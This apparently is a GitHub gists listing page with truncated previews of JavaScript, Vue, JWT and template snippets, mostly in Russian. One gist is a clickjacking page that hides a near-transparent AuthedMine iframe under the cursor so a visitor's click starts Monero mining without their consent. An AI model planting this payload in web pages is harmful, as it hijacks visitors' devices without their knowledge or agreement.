Skip to content

Instantly share code, notes, and snippets.

@rgabaydullov
rgabaydullov / index.js
Created August 25, 2020 09:23
Vue error handling example
/* учитывайте, что глобальный метод window.onerror
не будет ловить исключения без Vue.config.errorHandler */
Vue.config.errorHandler = (error, vm, info) => {
return middlewareErrorHandler(error, info);
}
// сюда попадут все ошибки, которые находятся за пределами исполнения Vue
window.onerror = (
message,
@brandonaaskov
brandonaaskov / movies.test.js
Created January 18, 2020 23:09
Example file testing nuxt stores
import _ from "lodash"
import Vuex from "vuex"
import { createLocalVue } from "@vue/test-utils"
describe("store/movies", () => {
// ----------------------------------------------------
// focus on the code from here...
const localVue = createLocalVue()
localVue.use(Vuex)
let NuxtStore
@DmitriiNazimov
DmitriiNazimov / pattern-chain-of-responsibility.js
Last active May 1, 2024 15:46
[JS ES6 Паттерн ЦЕПОЧКА ОБЯЗАННОСТЕЙ (Chain of responsibility)] #js #ES6 #ООП #Паттерны
/**
*
* ПАТТЕРН ЦЕПОЧКА ОБЯЗАННОСТЕЙ (Chain of responsibility)
*
* Паттерн ЦЕПОЧКА ОБЯЗАННОСТЕЙ - это поведенческий паттерн проектирования, который позволяет передавать запросы
* последовательно по цепочке обработчиков. Каждый последующий обработчик решает, может ли он обработать запрос сам
* и стоит ли передавать запрос дальше по цепи.
*
* Пример: у вас есть три счета (A, B, C) с разными суммами и разным приоритетом использования. Сначала проверяется A,
* если на нем достаточно денег для покупки, то цепочка прерывается. Иначе проверяется B, затем C. Цепь будет
@DmitriiNazimov
DmitriiNazimov / pattern-bridge.js
Last active April 25, 2024 15:25
[JS ES6 Паттерн МОСТ (bridge)] #js #ES6 #ООП #Паттерны
/**
*
* ПАТТЕРН МОСТ (bridge)
*
* Паттерн МОСТ - отделяет абстракцию от реализации, благодаря чему появляется возможность независимо изменять то и
* другое. Это структурный паттерн проектирования, который разделяет один или несколько классов на две отдельные
* иерархии — абстракцию и реализацию, позволяя изменять их независимо друг от друга.
* Например у нас есть класс Круг, и мы хотим создавать круги разного цвета, для этого нужно будет создать подклассы
* Синий Круг, Желтый круг и т.д. А если потом появятся квадраты и треугольники, то для них тоже нужно будет создавать
* большое количество подклассов. В итоге иерархия будет огромной. Логичнее создать две независимых иерархии -
@Aleksandr-ru
Aleksandr-ru / chek-inn-snils-ogrn.js
Last active November 26, 2021 22:18
Проверка контрольной суммы ИНН, СНИЛС, ОГРН, ОГРНИП
// проверка ИНН
function isInnValid(inn){
inn = String(inn).replace(/[^0-9]+/g, '').split('');
if ( inn.length == 10 ) {
return inn[9] == String(((
2*inn[0] + 4*inn[1] + 10*inn[2] +
3*inn[3] + 5*inn[4] + 9*inn[5] +
4*inn[6] + 6*inn[7] + 8*inn[8]
) % 11) % 10);
}
@zmts
zmts / vue.md
Last active May 10, 2022 06:38
Передать ивент из родителя в потомок (Vue.js)

Передать ивент из родителя в потомок (Vue.js)

В потомке подписываемся на некое событие через $parent.$on('some-event'). В родителе емитим это событие.

<div id="app">
  <my-component></my-component>
  <button @click="click">Click</button>  
@bcoles
bcoles / clickjack-authedmine.html
Created October 21, 2017 19:32
Start the AuthedMine JavaScript Monero miner without user consent (using clickjacking)
<html>
<body>
<div id="container" style="border:0;margin:0;position:absolute;width:5px;height:5px;overflow:hidden;cursor:pointer;opacity:0.01">
<iframe style="position:absolute;border:0;width:5px;height:100px;top:-85px;cursor:pointer;" src="https://authedmine.com/media/miner.html?key=your_public_key"></iframe>
</div>
</body>
<script>
window.onmousemove = function(e) {
var container = document.getElementById("container");
@zmts
zmts / tokens.md
Last active June 27, 2024 15:13
Про токены, JSON Web Tokens (JWT), аутентификацию и авторизацию. Token-Based Authentication

Про токены, JSON Web Tokens (JWT), аутентификацию и авторизацию. Token-Based Authentication

Last major update: 25.08.2020

  • Что такое авторизация/аутентификация
  • Где хранить токены
  • Как ставить куки ?
  • Процесс логина
  • Процесс рефреш токенов
  • Кража токенов/Механизм контроля токенов
@zhabinka
zhabinka / image_fenom.php
Last active March 15, 2018 05:56
Fenom: - работа с объектом vendor, - массив шаблонов, - работа с изображением, - условие IF, - вывод MIGX - foreach
//Условие IF
{$id == '1' ? '' : $url}
//Получение изображения через переменную с точкой ($_pls)
{$_pls["tv.img"] | phpthumbon : "w=300&h=200&zc=1"}
//Без префикса
{$img | phpthumbon : "w=300&h=200&zc=1"}
//Информация о прозводителе
{$_modx->makeUrl($_pls['vendor.resource'])}
@patrickbrandt
patrickbrandt / socket.io_Express_Angular.md
Last active August 30, 2023 21:28
Simple socket.io integration with Express + Angular

Socket.io integration between an Express and Angular app is a breeze. I'll outline the Express implementation first, then outline Angular integration.

Express + socket.io

Reference socket.io in layout.jade

npm install socket.io --save and then reference socket.io in your layout.jade file:

doctype html
html(ng-app="example")
  head
    title= title